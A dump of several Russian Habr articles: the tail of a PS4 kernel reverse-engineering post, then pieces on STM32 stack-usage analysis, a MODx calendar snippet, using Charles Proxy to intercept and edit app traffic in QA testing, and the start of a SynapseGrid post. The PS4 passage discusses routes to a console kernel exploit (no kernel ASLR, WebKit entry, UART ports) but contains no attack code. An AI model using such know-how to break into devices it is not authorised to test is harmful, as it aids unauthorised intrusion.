Но что еще интереснее, это то что утекшая память напоминает указатель на что-то в ядре, что при каждом запуске цепочки остается одним и тем же; это свидетельство подтверждает теорию Yifanlu о том, что [в PS4 нет защиты ASLR ([рандомизации адресного пространства](http://habrahabr.ru/company/xakep/blog/260877/)) на уровне ядра](https://twitter.com/yifanlu/status/551498289284009984)!
Итого
-----
Судя по собранным сведениям, ядро PS4 очень сильно напоминает стоковое ядро FreeBSD 9.0. Важно отметить, что найденные изменения относятся скорее к изменениям стандартной конфигурации ядра, чем к модификации кода. Хотя Sony и добавила несколько собственных специальных системных вызовов в ядро, вся остальная часть ядра, судя по всему, осталась практически не тронутой.
В силу этих причин я склонен считать, что у PS4 есть всё те же «сочные» уязвимости, что и в ядре FreeBSD 9.0!
К сожалению, большая часть эксплойтов для ядра не может быть выполнена из входной точки WebKit в силу ограничений песочницы (которые скорее всего управляются стандартным механизмом jails из FreeBSD). Увы, на публикацию приватных эксплойтов для FreeBSD 9 надеяться не приходится, так что пока вдруг внезапно не выйдет новый, мы вынуждены работать с тем, что есть. Я допускаю, что существует возможность эксплойта ядра PS4 с использованием некоторых из существующих уязвимостей ошибок повреждения памяти, но это будет определенно непросто.
Лучшим подходом здесь будет реверс-инжиниринг всех модулей, которые получится сдампить, с целью документирования максимально возможного количества специальных системных вызовов от Sony; интуиция подсказывает мне, что с ними шанс достичь удачи будет выше, чем со стандартными системными вызовами FreeBSD.
Недавно [Jaicrab обнаружил на PS4 два порта УАПП (UART)](http://hackinformer.com/2015/06/24/breaking-news-discovered-two-communication-ports-uart-playstation-4/), что говорит нам о потенциальной заинтересованности hardware-хакеров в консоли. Хотя роль hardware-хакеров обычно была в дампинге RAM системы (как это было с [DSi](http://farm4.static.flickr.com/3441/3869187499_da1665050d.jpg)), на этот раз с этой задачей мы уже справились сами благодаря эксплойту WebKit — однако, существует возможность обнаружения уязвимости ядра, которая будет «включаться» железом, как это было с [исходным хаком гипервизора в PS3 за авторством geohot](http://pure-virtual.blogspot.ru/2010/01/ps3.html). Впрочем, это не отменяет того, что скорее всего эксплойт ядра PS4 будет сделан благодаря уязвимости системного вызова.
*Спасибо за прочтение!
Если вы заметили ошибку, или хотите предложить уточнение/исправление, то не стесняйтесь написать мне в ЛС.* | https://habr.com/ru/post/265235/ | null | ru | null |
# Профилирование памяти на STM32 и других микроконтроллерах: статический анализ размера стека
Привет, Хабр!
В [прошлой статье](https://habr.com/ru/post/443030/) и я сам упоминал, и в комментариях спрашивали — ок, хорошо, методом научного тыка мы подобрали размер стека, вроде ничего не падает, а можно как-то надёжнее оценить, чему он равен и кто вообще столько сожрал?
Отвечаем коротко: да, но нет.
Нет, методами статического анализа невозможно точно измерить размер потребного программе стека — но, тем не менее, эти методы могут пригодиться.
Ответ немного длиннее — под катом.
Как широко известно узкому кругу людей, место в стеке выделяется, по сути, под локальные переменные, которые использует выполняющаяся в данный момент функция — за исключением переменных с модификатором static, которые хранятся в статически выделенной памяти, в области bss, потому что они должны сохранять свои значения между вызовами функций.
При выполнении функции компилятор добавляет в стеке место под нужные ей переменные, при завершении — освобождает это место обратно. Казалось бы, всё просто, но — и это очень жирное **но** — у нас есть несколько проблем:
1. функции вызывают внутри другие функции, которым тоже нужен стек
2. иногда функции вызывают другие функции не прямым их упоминанием, а по указателю на функцию
3. в принципе возможен — хотя его стоит избегать всеми средствами — рекурсивный вызов функций, когда A зовёт B, B зовёт C, а C внутри себя опять зовёт A
4. в любой момент может случиться прерывание, обработчик которого — та же функция, желающая свой кусок стека
5. если у вас есть иерархия прерываний, внутри прерывания может случиться другое прерывание!
Однозначно из этого списка надо вычёркивать рекурсивные вызовы функций, потому что их наличие — повод не считать объём стека, а идти высказывать своё мнение автору кода. Всё остальное, увы, в общем случае вычеркнуть не получается (хотя в частных могут быть нюансы: например, у вам все прерывания могут иметь одинаковый приоритет by design, например, как в RIOT OS, и вложенных прерываний не будет).
Теперь представьте себе картину маслом:
* функция A, съевшая 100 байт в стеке, зовёт функцию B, которой нужно 50 байт
* на момент выполнения B сама A, очевидно, ещё не завершилась, поэтому её 100 байт не освобождены, поэтому у нас уже 150 байт в стеке
* функция B зовёт функцию C, причём делает это по указателю, который в зависимости от логики программы может указывать на полдесятка разных функций, потребляющих от 5 до 50 байт стека
* во время выполнения C случается прерывание с тяжёлым обработчиком, работающим относительно долго и потребляющим 20 байт стека
* во время обработки прерывания случается другое прерывание, с более высоким приоритетом, обработчик которого хочет 10 байт стека
В этой прекрасной конструкции при особенно удачном совпадении всех обстоятельств у вас будет *минимум пять одновременно активных функций* — A, B, C и два обработчика прерываний. Более того, у одной из них потребление стека не есть константа, ибо в разные проходы это может быть попросту разная функция, да и для понимания возможности или невозможности наложения друг на друга прерываний надо как минимум знать, есть ли у вас вообще прерывания с разными приоритетами, а как максимум — понять, могут ли они накладываться друг на друга.
Очевидно, что для любого автоматического статического анализатора кода эта задача является предельно близкой к непосильной, и её можно выполнить лишь в грубом приближении оценки сверху:
* просуммировать стеки всех обработчиков прерываний
* просуммировать стеки функций, выполняющихся в одной ветке кода
* попытаться найти все указатели на функции и их вызовы, и принять за размер стека максимальный размер стека среди функций, на которые эти указатели указывают
В большинстве случаев получится, с одной стороны, сильно завышенная оценка, а с другой — шанс пропустить какой-нибудь особенно хитрый вызов функции через указатели.
Поэтому в общем случае можно сказать просто: **эта задача автоматически не решается**. Ручное же решение — человеком, знающим логику данной программы — требует перелопатить довольно много чисел.
Тем не менее, статическая оценка размера стека может быть очень полезна при оптимизации ПО — хотя бы с банальной целью понять, кто сколько жрёт, и не многовато ли.
Для этого в тулчейне GNU/gcc есть два крайне полезных средства:
* флаг -fstack-usage
* утилита cflow
Если во флаги gcc (например, в Makefile в строку с CFLAGS) добавить -fstack-usage, то для *каждого* компилируемого файла %filename%.c компилятор создаст файл %filename%.su, внутри которого будет простой и понятный текст.
Возьмём, например, target.su для [вот этой гигантской портянки](https://github.com/unwireddevices/dap42/blob/umdk-emb/src/stm32f042/umdk-emb/target.c):
```
target.c:159:13:save_settings 8 static
target.c:172:13:disable_power 8 static
target.c:291:13:adc_measure_vdda 32 static
target.c:255:13:adc_measure_current 24 static
target.c:76:6:cpu_setup 0 static
target.c:81:6:clock_setup 8 static
target.c:404:6:dma1_channel1_isr 24 static
target.c:434:6:adc_comp_isr 40 static
target.c:767:6:systick_activity 56 static
target.c:1045:6:user_activity 104 static
target.c:1215:6:gpio_setup 24 static
target.c:1323:6:target_console_init 8 static
target.c:1332:6:led_bit 8 static
target.c:1362:6:led_num 8 static
```
Здесь мы видим фактическое потребление стека для каждой фигурирующей в ней функции, из которого можем делать какие-то выводы для себя — ну, например, что стоит в первую очередь попробовать оптимизировать, если мы упираемся в нехватку ОЗУ.
При этом, внимание, **этот файл не даёт на самом деле точной информации о реальном потреблении стека для функций, из которых вызываются другие функции**!
Для понимания полного потребления нам необходимо построить дерево вызовов и суммировать стеки всех входящих в каждую его ветку функций. Сделать это можно, например, утилитой [GNU cflow](https://www.gnu.org/software/cflow/), натравив её на один или несколько файлов.
Выхлоп мы тут получим на порядок более развесистый, приведу лишь его часть для того же target.c:
```
olegart@oleg-npc /mnt/c/Users/oleg/Documents/Git/dap42 (umdk-emb) $ cflow src/stm32f042/umdk-emb/target.c
adc_comp_isr() :
TIM\_CR1()
ADC\_DR()
ADC\_ISR()
DMA\_CCR()
GPIO\_BSRR()
GPIO\_BRR()
ADC\_TR1()
ADC\_TR1\_HT\_VAL()
ADC\_TR1\_LT\_VAL()
TIM\_CNT()
DMA\_CNDTR()
DIV\_ROUND\_CLOSEST()
NVIC\_ICPR()
clock\_setup() :
rcc\_clock\_setup\_in\_hsi48\_out\_48mhz()
crs\_autotrim\_usb\_enable()
rcc\_set\_usbclk\_source()
dma1\_channel1\_isr() :
DIV\_ROUND\_CLOSEST()
gpio\_setup() :
rcc\_periph\_clock\_enable()
button\_setup() :
gpio\_mode\_setup()
gpio\_set\_output\_options()
gpio\_mode\_setup()
gpio\_set()
gpio\_clear()
rcc\_peripheral\_enable\_clock()
tim2\_setup() :
rcc\_periph\_clock\_enable()
rcc\_periph\_reset\_pulse()
timer\_set\_mode()
timer\_set\_period()
timer\_set\_prescaler()
timer\_set\_clock\_division()
timer\_set\_master\_mode()
adc\_setup\_common() :
rcc\_periph\_clock\_enable()
gpio\_mode\_setup()
adc\_set\_clk\_source()
adc\_calibrate()
adc\_set\_operation\_mode()
adc\_disable\_discontinuous\_mode()
adc\_enable\_external\_trigger\_regular()
ADC\_CFGR1\_EXTSEL\_VAL()
adc\_set\_right\_aligned()
adc\_disable\_temperature\_sensor()
adc\_disable\_dma()
adc\_set\_resolution()
adc\_disable\_eoc\_interrupt()
nvic\_set\_priority()
nvic\_enable\_irq()
dma\_channel\_reset()
dma\_set\_priority()
dma\_set\_memory\_size()
dma\_set\_peripheral\_size()
dma\_enable\_memory\_increment\_mode()
dma\_disable\_peripheral\_increment\_mode()
dma\_enable\_transfer\_complete\_interrupt()
dma\_enable\_half\_transfer\_interrupt()
dma\_set\_read\_from\_peripheral()
dma\_set\_peripheral\_address()
dma\_set\_memory\_address()
dma\_enable\_circular\_mode()
ADC\_CFGR1()
memcpy()
console\_reconfigure()
tic33m\_init()
strlen()
tic33m\_display\_string()
```
И это даже не половина дерева.
Чтобы понять реальное потребление стека, нам надо взять потребление для *каждой* из упомянутых в нём функций и просуммировать эти значения для каждой из веток.
И при этом мы ещё не учтём вызовы функций по указателям и прерывания, в т.ч. вложенные (а конкретно в этом коде они могут быть вложенными).
Как нетрудно догадаться, проделывать это при каждом изменении кода, мягко говоря, затруднительно — поэтому так обычно никто и не делает.
Тем не менее, понимать принципы наполнения стека необходимо — из этого могут рождаться определённые ограничения на код проекта, повышающие его надёжность с точки зрения недопущения переполнения стека (например, запрет вложенных прерываний или вызовов функций по указателям), а конкретно -fstack-usage может сильно помочь при оптимизации кода на системах с нехваткой ОЗУ. | https://habr.com/ru/post/443544/ | null | ru | null |
# MODx — собственный ajax календарь событий/новостей 2
Выходные проходят сложно для моего здоровья, но я таки смог переписать свой [календарь событий](http://habrahabr.ru/blogs/modx/111155/) для ModX.
Напомню, сниппет берет события из указанной директории MODx и генерирует календарь с событиями по дням, которые отображаются при наведении на нужный день.
В чем же отличия от предыдущей версии?
Самое главное — календарь отрисовывается не сторонним плагином jquery.datepicker, а php. К каждой ячейка прикрепляются css классы, в зависимости от их свойств. Все классы, имена дней недели, месяцы задаются в параметрах сниппета, что позволяет их легко менять.
Картинка, для привлечения внимания.
#### Оформление
Итак, сгенерированный календарь имеет следующую html структуру:
```
| | | |
| --- | --- | --- |
| пред месяц | Месяц год | след месяц |
| День недели |
| Дата
Событие
|
```
Как вы видите, событие находится в одной ячейке с датой и имеет собственный класс. Поэтому, его можно легко скрывать и отображать с помощью css.
Почти без оформления, со скрытыми событиями, календарь выглядит так:
Каждая ячейка таблицы, в зависимости от разных параметров снабжается классом css. Это вторая особенность календаря — внешний вид можно менять как угодно, а имена классов задаются в параметрах сниппета.
Пора рассказать, какие классы используются по умолчанию:
```
.calendar - Таблица с календарем
.dow - Ячейка с именем дня недели
.month - Ячейка с именем месяца и годом
.workday - Рабочие дни
.weekend - Выходные
.today - Сегодня
.isevent - Ячейка с событием
.noevent - Ячейка без события
.event - div с событием
.date - div с датой
.emptyday - Пустая ячейка, без даты
.prev - Кнопка перехода на следующий месяц
.next - Кнопка перехода на предыдущий месяц
```
Таким образом, вы можете легко настраивать календарь, присваивая этим классам нужное оформление. Хотите выделить выходные дни — просто сделайте им другой цвет, например красный. Месяц и дни недели можно сделать пожирнее, дни с событиями — синие, сегодняшний день — желтым.
И получится примерно так:
Красота!
~~Для отображения скрытых дивов можно использовать qTip.~~ Лучше обойтись без него.
```
$('.isevent').live('mouseover',function() {
id = this.id;
$('#' + id + ' .event').show();
})
$('.isevent').live('mouseout',function() {
id = this.id;
$('#' + id + ' .event').hide();
})
```
```
.isevent {
color: black;
text-align: left;
position:absolute;
z-index: 10;
display: none;
background: #fff;
border: 1px solid #AAA;
padding: 5px;
width: 250px;
margin-top: -10px;
margin-left: 10px;
}
```
Вот что получится:
Див скрыт, при наведении на ячейку он отображается, а все оформление в css. Главное — position: absolute и z-index: 10.
Все легко и просто.
#### Сниппет
Код сниппета я приводить не буду, зато я приведу все параметры и плейсхолдеры.
##### Параметры
```
&id
по умолчанию: нет, но обязателен
значение: [int]
описание: id существующего документа-контейнера MODx для выборки событий
&month
по умолчанию: date('m')
значение: [int]
описание: Месяц для показа событий
&year
по умолчанию: date('Y')
значение: [int]
описание: Год для показа событий
&dateTV
по умолчанию: event_date
значение: [string]
описание: Имя существующего TV параметра для определения даты события
&dateFormat
по умолчанию: '%d %b %Y %H:%M'
значение: [string]
описание: Формат даты, используется strftime()
&tplEvent
по умолчанию: tplEvent
значение: [string]
описание: Имя существующего чанка MODx
&tplMain
по умолчанию: tplCalendar
значение: [string]
описание: Имя существующего чанка MODx
&calendar_id
по умолчанию: Calendar
значение: [string]
описание: Имя уникального идентификатора экземпляра календаря. Необходимо, если вызывается более одного календаря на странице
&class_calendar
по умолчанию: calendar
значение: [string]
описание: Имя css класса для оформления таблицы календаря
&class_dow
по умолчанию: dow
значение: [string]
описание: Имя css класса для оформления дней недели
&class_month
по умолчанию: month
значение: [string]
описание: Имя css класса для оформления месяца и года
&class_workday
по умолчанию: workday
значение: [string]
описание: Имя css класса для оформления рабочих дней
&class_weekend
по умолчанию: weekend
значение: [string]
описание: Имя css класса для оформления выходных
&class_today
по умолчанию: today
значение: [string]
описание: Имя css класса для оформления сегодня
&class_event
по умолчанию: event
значение: [string]
описание: Имя css класса для оформления div с событием
&class_isevent
по умолчанию: isevent
значение: [string]
описание: Имя css класса для оформления ячейки таблицы с событием
&class_noevent
по умолчанию: noevent
значение: [string]
описание: Имя css класса для оформления ячейки таблицы без события
&class_date
по умолчанию: date
значение: [string]
описание: Имя css класса для оформления даты календаря
&class_emptyday
по умолчанию: emptyday
значение: [string]
описание: Имя css класса для оформления пустой ячейки, без даты
&class_prev
по умолчанию: prev
значение: [string]
описание: Имя css класса для оформления кнопки перехода на предыдущий месяц
&class_next
по умолчанию: next
значение: [string]
описание: Имя css класса для оформления кнопки перехода на следующий месяц
&dow_names
по умолчанию: Зависит от ⟨
значение: [string]
описание: Строка с сокращенными названиями дней недели, через запятую, без пробелов. Переопределит стандартную, для выбранного языка.
&month_names
по умолчанию: Зависит от ⟨
значение: [string]
описание: Строка с названиями месяцев, через запятую, без пробелов. Переопределит стандартную, для выбранного языка.
&btn_prev
по умолчанию: '«'
значение: [string]
описание: Текст кнопки перехода на предыдущий месяц
&btn_next
по умолчанию: '»'
значение: [string]
описание: Текст кнопки перехода на следующий месяц
⟨
по умолчанию: 'en'
значение: [en,ru]
описание: Язык для оформления календаря и вывода ошибок
&show_errors
по умолчанию: 1
значение: [0|1]
описание: Показывать ошибки, по умолчанию - да
&first_day
по умолчанию: 0
значение: [0|1]
описание: 0 - первый день - воскресенье. 1 - первый день - понедельник.
```
##### Плейсхолдеры
В сниппете используются служебные плейсхолдеры с именами классов css для оформления, менять их можно через параметры, которые я описал выше. Эти холдеры трогать не нужно.
```
[+ec.Calendar+]
Экземпляр календаря, то есть таблица с датами
[+ec.calendar_id+]
Уникальный идентификатор экземпляра календаря
[+ec.class_calendar+]
css класс таблицы с календарем
[+ec.class_dow+]
css класс дней недели
[+ec.class_month+]
css класс месяца и года
[+ec.class_workday+]
css класс рабочих дней
[+ec.class_weekend+]
css класс выходных
[+ec.class_today+]
css класс сегодня
[+ec.class_event+]
css класс события
[+ec.class_isevent+]
css класс ячейки с событием
[+ec.class_noevent+]
css класс ячейки без события
[+ec.class_date+]
css класс даты
[+ec.class_emptyday+]
css класс пустой ячейки
[+ec.class_prev+]
css класс кнопки предыдущего месяца
[+ec.class_next+]
css класс кнопки следующего месяца
```
А также есть плейсходеры, для подстановки значений событий:
```
[+ec.num+]
Номер события в дне. Актуально, только если у вас больше одного события в день. Для правильной нумерации необходимо, чтобы параметр даты публикации документа совпадал с TV параметром даты события. Иначе, нумерация может быть неверной.
[+ec.date+]
Дата события.
[+ec.url+]
Ссылка на событие.
[+ec.title+]
Заголовок, берется из pagetitle документа MODx.
[+ec.desc+]
Краткое описание, берется из introtext документа MODx.
```
Теперь качаем архив и распаковываем. Создаем в админке MODx сниппет **eventsCalendar2**, в него копируем содержимое файла eventsCalendar2.snippet.php.
Создаем два чанка, **tplEvent2** и **tplCalendar2**, это eventsCalendar2.tplEvent.html и eventsCalendar.tplCalendar2.html соответственно.
Создаем новый документ MODx и вызываем сниппет:
```
[!eventsCalendar2?
&id=`13`
&calendar_id=`Cal1`
&dateTV=`event_date`
&dateFormat=`%d %b %Y %H:%M`
&tplEvent=`tplEvent2`
&tplMain=`tplCalendar2`
!]
```
~~Не забудьте, у вас на странице должен быть подключен [qTip](http://www.craigsworks.com/projects/qtip/)!~~
Если хотите перевести календарь на английский — меняйте параметры названия дней и месяцев. Также, можно вызывать несколько календарей на одной странице — нужно только казать каждому свой &calendar\_id.
В чанке tplCalendar2 содержится все оформление календаря, можно менять как душе угодно, только не тройгайте названия плейсхолдеров!
Недостатков предыдущего календаря теперь нет. Все работает шустро и гладко. ~~Иногда может прогнать qTip и перестать показывать всплывашки — но это не моя вина. В принципе, скрытые дивы можно отображать и без него, методик полно.~~
Если будут вопросы и пожелания — не стесняйтесь пишите, если что — дополню топик.
Багрепорты пока постим сюда, если календарь понравится пользователям — отправим его в репозиторий MODx.
[Скачать архив со сниппетом и чанками](http://modx.com/extras/package/eventscalendar2).
[Посмотреть календарь в работе (версия для Revolution)](http://bezumkin.ru/modx/eventscalendar2/).
**UPD.**
Избавился от qTip, обновил топик и архив со сниппетом.
**UPD.2**
Добавил английский язык. Добавил 3 параметра: ⟨, &first\_day, &show\_errors. Обновил описание параметров, залил новую версию сниппета.
**UPD.3**
Генерируемый код приведен в соответствие со стандартами W3C и проходит валидатор.
Добавил в архив readme.html.
Обновил ссылку в топике.
**UPD.4**
События теперь выбираются только для нужного месяца, что существеннно снижает нагрузку на систему.
Добавлена возможность использовать в шаблонах любые TV параметры и свойства ресурсов.
Добавлен параметр сдвига времени в часах &time\_shift, для тех сайтов, где временная зона не совпадает с хостингом.
Дефолтные настройки установлены для России. Неделя начинается в понедельник, язык русский.
Изменен чанк tplEvent2, в соответствии с новыми плейсхолдерами.
**Проект уехал на [code.google.com](http://code.google.com/p/eventscalendar2/). Дальнейшее развитие будет там.**
**UPD.5**
Переделал для Revolution, можно скачать на ГуглоКоде. | https://habr.com/ru/post/111436/ | null | ru | null |
# Начинающему QA: полезные функции снифферов на примере Charles Proxy
Снифферы - это инструменты, позволяющие перехватывать, анализировать и модернизировать все запросы, которые через них проходят. Они полезны, когда из потока нужно извлечь какие-либо сведения или создать нужный ответ сервера. Так можно проводить модульное тестирование продукта, в котором есть и бэк, и фронт, и разные команды со своей версионностью.
В этой статье я расскажу об основных функциях снифферов, которые могут быть полезны QA. Попробую не вдаваться в теорию, а сфокусироваться на практике. Наиболее популярными представителями анализаторов трафика сейчас являются WhireShark, Fiddler и Charles Proxy. Об удобстве интерфейсов и функционале каждого из них можно рассуждать долго, учитывая все плюсы и минусы. Но здесь я отдал предпочтение Charles, поскольку сам им активно пользуюсь. Буду рассказывать на его примере.
Что собой представляет Charles Proxy
------------------------------------
Charles Web Debugging Proxy - это инструмент мониторинга HTTP и HTTPS трафика. Он выступает в роли прокси-сервера (промежуточного звена) между тестируемым приложением и сервером на бэкенде, позволяя не только видеть, но также перехватывать и редактировать запросы.
Главное преимущество Charles Proxy и снифферов в целом - возможность просмотра трафика, в том числе с мобильных устройств, что значительно облегчает работу тестировщика клиент-серверных мобильных приложений.
Первичная настройка
-------------------
### При тестировании мобильного приложения
Charles Proxy необходимо запустить на компьютере, который находится в той же локальной подсети, что и мобильное устройство с тестируемым приложением.
Как правило, соединение настраивается по Wi-Fi. В настройках Wi-Fi мобильного устройства в качестве proxy-сервера надо указать IP-адрес компьютера и стандартный порт инструмента 8888 (пароль остается пустым).
IP-адрес компьютера можно узнать через командную строку (ipconfig) или в самом Charles Proxy (Help -> Local IP Address).
Этот же адрес есть в инструкции по подключению, доступной в Help -> SSL Proxying -> Install Charles Root Certificate on mobile device remote browser.
После сохранения настроек Charles Proxy сможет читать HTTP-трафик мобильного устройства. Но чтобы смотреть расшифрованный трафик HTTPS, нужны дополнительные манипуляции - требуется установить SSL-сертификат Charles Proxy в браузере на мобильном устройстве.
Скачать сертификат можно по адресу: [chls.pro/ssl](http://chls.pro/ssl) (адрес, по которому скачивается сертификат, также можно найти в инструкции Help -> SSL Proxying -> Install Charles Root Certificate on mobile device remote browser). Далее в iOS его необходимо сделать доверенным (в Настройки -> Основные -> Профили).
В Android установленные сертификаты верифицируются в Settings -> Trusted Credentials на вкладке User.
Главное отличие в настройках для этой ОС в том, что с Android 6.0 и выше в Androidmanifest надо добавить специальную конфигурацию, позволяющую просматривать защищенный трафик. На продакшене эта конфигурация убирается из соображений безопасности.
### При тестировании приложения на ПК
В этом случае дополнительные сертификаты нужно установить на сам ПК. Для скачивания и установки нужна ссылка из Help -> SSL Proxying -> Install Charles Root Certificate.
Сертификат устанавливается в доверенные корневые центры.
Два слова об интерфейсе
-----------------------
Интерфейс Charles Proxy прост. Слева - список перехваченных запросов, справа - детали.
В списке запросов есть две основные вкладки - Structure и Sequence.
В первом случае запросы рассортированы по хостам-папкам. Наведя на любой из них, можно получить всю информацию о количестве запросов к этому корневому хосту, доле удачных, таймингах, размерах и т.п. Фактически, здесь представлена вся та же информация, которую можно получить из панели разработчика в браузере. Выбрав конкретный URL, можно увидеть код ответа, версии протоколов, контент и т.п. Тело запроса, заголовки, cookie (если есть) можно посмотреть в разных форматах - даже в HEX.
С помощью контекстного меню запроса можно настраивать блокировки, повторять и изменять запросы. На этом мы еще остановимся.
На вкладке Sequence запросы выведены по времени в виде настраиваемой таблицы. Видно, когда начался запрос, сколько он длился, его размер, статус и т.п. Наведя на конкретную строку, мы получим ту же информацию о теле, заголовках и т.п.
Если запросов на экране слишком много, с помощью панели инструментов их можно очистить или вообще остановить перехват. Там же есть возможность включить и выключить троттлинг (подробнее об этих функциях расскажу позже). Базовая настройка каждой из функций осуществляется через меню, а кнопки панели управления выступают своего рода тумблерами On / Off.
Фильтрация
----------
В Charles Proxy очень много вариантов фильтрации запросов.
Начнем с вкладки Structure. Самое примитивное - скопировать хост и вставить в поле Filter. Так мы увидим только запросы с этого хоста. Примерно того же результата можно добиться, если в контекстном меню хоста выбрать Focus. Остальные запросы будут собраны в Other Hosts. Если при этом перейти на закладку Sequence и отметить настройку Focused, то в списке окажется информация только о тех запросах, которые были выбраны на вкладке Structure.
На вкладке Sequence есть аналогичный фильтр.
Charles Proxy умеет работать с регулярными выражениями. Для этого на вкладке Sequence выбираем Settings и отмечаем пункт Filter uses regex. И вписываем в поле поиска элементарную регулярку.
Например, вот так
```
^\w{4}\.
```
можно выбрать все запросы, в которых в начале имени хоста находится четыре буквы, а потом идет точка.
Там же можно включить Autoscroll списка запросов или указать максимальное количество строк.
В Charles Proxy можно фильтровать не только отображение, но и запись запросов. Для этого надо зайти в Proxy -> Record settings и задать условия на одной из вкладок - Include или Exclude - так мы включаем или выключаем запись запросов данного хоста.
Похожего результата можно добиться, используя блок-листы. Включить хост в блок лист можно из контекстного меню (команда Block list) или через добавление в Tools -> Block list, где следует отметить Enable Block list.
Блокируемый запрос можно прервать двумя способами (подходящий надо выбрать в настройках):
* сбросить соединение;
* вернуть ошибку 403.
От выбранного способа блокировки зависит, какой ответ мы получим.
Можно провести эксперимент. Включим наш тестовый стенд в Block list, выбрав простой сброс соединения. С помощью контекстного меню запроса повторим его (команда Repeat) и получим такой ответ:
Статус запроса - Failed, а в описании ошибки указано, что Connection dropped.
Просмотр SSL-трафика
--------------------
Если ранее мы успешно установили SSL-сертификат, для просмотра зашифрованного трафика остается только включить SSL proxying для нужного хоста в самом Charles Proxy. Это можно сделать через контекстное меню конкретного хоста.
Чтобы не включать каждый хост, можно зайти в Proxy -> SSL Proxying settings и на первой вкладке SSL Proxying включить Enable SSL Proxying.
Аналогично настройке фильтров на вкладках Include и Exclude можно добавить или исключить конкретные хосты. Если списки на этих вкладках не заполнять, по умолчанию мы будем читать трафик со всех хостов.
Брейкпоинты
-----------
Наверное, одна из самых популярных функций Charles Proxy - это настройка точек остановки, которые позволяют перехватывать запросы.
Установить Breakpoint можно из контекстного меню запроса. После этого все аналогичные запросы будут перехвачены. Их можно будет просматривать и редактировать.
Чтобы проверить, как это работает можно использовать повтор запроса (Repeat из того же контекстного меню). Запрос перехватывается, его можно редактировать.
В принципе, изменить можно все - от header до авторизационного токена. Когда редактирование будет закончено, можно выбрать Execute и в Charles Proxy появится повторный запрос, который и отправится на сервер, а потом вернется с ответом. В этот момент можно будет посмотреть и отредактировать ответ, который получит приложение - появится поле Edit response.
Редактируя запрос, можно ввести заведомо некорректные данные и посмотреть, как ответит сервер. Также можно отредактировать ответ (внеся некорректные данные) и использовать его для тестирования фронта. Можно оставить корректные данные, но изменить код - посмотреть, как фронт воспринимает информацию, переданную через API.
Map remote
----------
Еще одна популярная функция Charles Proxy - подмена ответа сервера. Так мы можем ответ одного хоста подменить на ответ другого. Настраивается это через Tools -> Map Remote.
Обратите внимание, в левом нижнем углу есть кнопки Import и Export. Они позволяют обмениваться настройками - переносить их с одного рабочего места на другое.
Например, мы можем подменить контура. Я буду посылать запрос на dev-контур, но ответ хочу получить с тестового стенда. Для этого создаем новый пункт в списке Map Remote Settings. Map From - куда изначально был запрос; Map to - откуда берем ответ.
Эта функция может быть полезна, если мы поймали ошибку на продакшене, например при загрузке таблицы, а информации в dev-контуре для полноценного тестирования не хватает. Вместо того, чтобы перезаполнять информацию в каждом контуре, мы можем скопировать ответ сервера в нужный контур и посмотреть, как он ведет себя после исправления ошибки.
Map Local
---------
Главное отличие Map Local от предыдущей функции в том, что замена осуществляется не на ответ другого сервера, а на содержимое локального файла. Настройки выглядят точно также, но вместо второго сервера мы указываем локальный путь к файлу с ответом.
Rewrite
-------
Функция Rewrite может быть полезна, если вам нужно переписать данные, которые отправляются в Charles Proxy. В отличие от простого редактирования Rewrite позволяет задать правила изменения и работать в автоматическом режиме. Можно изменять и добавлять заголовки, искать и заменять текст в теле запроса или ответа. Можно даже менять статус ответа.
Rewrite удобно использовать, когда нужен готовый ответ, но мы не хотим каждый раз ставить брейкпоинт и вписывать его в ручную. Редактируя таким образом ответ, фактически, мы ставим заглушку - можем имитировать работу сторонних партнеров. Честно говоря, в Postman-е эта функция реализована более интуитивно. Но раз мы говорим про Charles, не будем отходить от его примера.
Настроить это можно через Rewrite settings, доступные в контекстном меню. Единственный недостаток инструмента в том, что каждое правило замены прописывается отдельно.
Помимо изменения запросов и ответов мы можем запретить кэширование или cookie (функции No caching и Block cookies). Эти опции повторяют аналогичные инструменты панели разработчика в браузере. В обоих случаях настраивается список хостов, для которых действует настройка. Если же список пуст, то кэширование и cookie отключаются на всех перехваченных хостах.
Throttling
----------
Charles Proxy помогает тестировать сервис на плохой связи, искусственно ограничив через настройки пропускную способность канала. Эта функция полезнее всего для тестирования десктопных приложений, поскольку на мобильных устройствах качеством связи можно управлять через панель разработчика.
Настраивается функция через Proxy ->Throttling settings.
Ограничения можно включить либо для хостов из списка, либо для всех перехваченных запросов. Из коробки есть несколько пресетов, но все параметры связи можно корректировать вручную. Мне по большей части хватает базовых настроек.
Repeat Advanced
---------------
Хотя полноценное нагрузочное тестирование лучше проводить в специальных инструментах, Charles Proxy имеет одну базовую настройку, которая помогает закрыть минимальные потребности. Функция Repeat Advanced (доступная через контекстное меню перехваченного запроса) позволяет нужное количество раз повторить тот же запрос. После настройки откроется отдельная сессия, где будут видны детали каждого из запросов.
Конечно, список функций Charles Proxy этим не ограничивается. Есть еще много полезного - от перенаправления доменного имени на другой IP-адрес, до автоматического сохранения полученных ответов.
Отмечу, что Charles Proxy платный. Можно использовать триальную версию. Но раз в 5-7 минут поверх него будет отображаться всплывающее окно с версией, а раз в 30 минут он будет выключаться, при этом сессии не сохраняются. Решайте сами, помешает ли это вашей работе.
В целом Charles Proxy - это хороший инструмент. Не сказал бы, что он сильно отличается от того же Fiddler-а, но на мой взгляд он больше заточен под MacOS, поскольку пришел на эту платформу раньше. Хотя сейчас уже нельзя сказать, что какой-то сниффер принципиально лучше или хуже. Все они решают примерно одни и те же задачи сходным образом.
Автор статьи: Артем Холевко, Максилект.
Текст подготовлен по материалам внутреннего семинара Максилект.
P.S. Мы публикуем наши статьи на нескольких площадках Рунета. Подписывайтесь на наши страницы в [VK](https://vk.com/maxilect), [FB](https://www.facebook.com/maxilectru/), [Instagram](https://www.instagram.com/maxilectteam/) или [Telegram-канал](https://t.me/maxilect), чтобы узнавать обо всех наших публикациях и других новостях компании Maxilect. | https://habr.com/ru/post/554888/ | null | ru | null |
# Обработка событий в реальном масштабе времени с помощью SynapseGrid
Занимались мы как-то обработкой аудио на Java с помощью сложных алгоритмов. Каждый кусочек аудио должен был пройти длинную цепочку обработки (20-50 алгоритмов разной степени сложности). Потоки аудио поступали параллельно, алгоритмы работали параллельно, и завершались в разные моменты. Некоторые алгоритмы нуждались в разной степени буферизации. Из кусочков аудио извлекалась информация повышающегося уровня абстракции, то есть начиная с какого-то уровня уже шло не аудио, а извлечённая информация об этом аудио.
Всё хозяйство должно было работать в рамках одного экземпляра приложения, но при этом должно было быть несколько вложенных почти независимых очень похожих контейнеров для клиентского кода (типа Bean'ов).
